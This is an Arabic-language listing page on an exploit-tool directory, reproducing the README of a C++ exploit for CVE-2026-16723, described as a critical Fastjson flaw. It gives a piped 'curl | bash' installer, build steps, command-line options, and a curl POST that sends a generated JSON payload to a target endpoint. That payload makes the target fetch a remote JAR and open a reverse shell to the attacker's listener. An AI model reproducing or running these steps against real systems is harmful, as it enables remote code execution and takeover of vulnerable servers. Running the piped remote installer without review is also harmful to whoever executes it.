Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-16723 — ثغرة أمنية حرجة تؤثر على إصدارات Fastjson من 1.2.68 إلى 1.2.83. | Kitploit
أدوات/GitHubGitHub/1xpwn/cve-2026-16723
توليد الحمولةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHub1xpwn/cve-2026-16723

CVE-2026-16723

ثغرة أمنية حرجة تؤثر على إصدارات Fastjson من 1.2.68 إلى 1.2.83.

عرض المستودع
2150منذ 27 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2026-16723

تطبيق مستقل بلغة C++17 لـ CVE-2026-16723، وهي ثغرة أمنية حرجة تؤثر على إصدارات Fastjson من 1.2.68 – 1.2.83.

المتطلبات

  • نظام Linux (أو WSL على Windows)

  • مترجم متوافق مع C++17 (GCC 7+ أو Clang 5+)

  • CMake 3.10 أو أحدث

  • حزم النظام:

    • libzip-dev
    • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

التثبيت

تثبيت سريع (موصى به)

ثبّت كل شيء بأمر واحد:

curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash

أو نزّل برنامج التثبيت ونفّذه يدويًا:

wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

سيقوم سكربت التثبيت بما يلي:

  • تثبيت جميع حزم النظام المطلوبة.

  • تنزيل المكتبات المطلوبة ذات الملفات الرأسية فقط:

    • nlohmann/json
    • cpp-httplib
  • بناء المشروع.

  • وضع الملف التنفيذي المُجمّع في الدليل الحالي باسم:

./exploit

البناء اليدوي

إذا قمت باستنساخ المستودع:

git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

أو قم بالبناء يدويًا:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

الاستخدام

شغّل الملف التنفيذي:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

مثال

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

بعد التنفيذ سيتم إنشاء الملفات التالية:

x
body.json

سيبدأ خادم HTTP على المنفذ المُعدّ (الافتراضي: 8000) وستنتظر الأداة اتصال reverse shell واردًا.


إرسال الحمولة

أرسل ملف body.json المُنشأ إلى نقطة النهاية المصابة:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

إذا كان التطبيق يتوقع حقل JSON مختلفًا، فحدّده باستخدام خيار --field.


خيارات سطر الأوامر

الخيارالوصفالافتراضي
--lhostعنوان IP المحليمطلوب
--lportمنفذ استماع reverse shell4444
--http-portمنفذ خادم HTTP8000
--firstأول واصف ملف للمحاولة3
--lastآخر واصف ملف للمحاولة30
--fieldاسم حقل JSONfacets
--outdirدليل الإخراج.
-h, --helpعرض رسالة المساعدة—

ملفات الإخراج

الملفالوصف
xحمولة JAR المُنشأة
body.jsonحمولة JSON لإرسالها إلى الهدف

ملاحظات

  • هذا المشروع مخصص فقط لاختبارات الأمان المصرّح بها والأغراض التعليمية.
  • يُجبر التطبيق الهدف على تنزيل وتحميل ملف JAR بعيد باستخدام بروتوكولي jar:http وjar:file.
  • يتم ترميز أمر reverse shell بـ Base64 لتقليل مشكلات الهروب من المحارف.

تابعني على Twitter(X)

  • MNM
تنزيل الأداة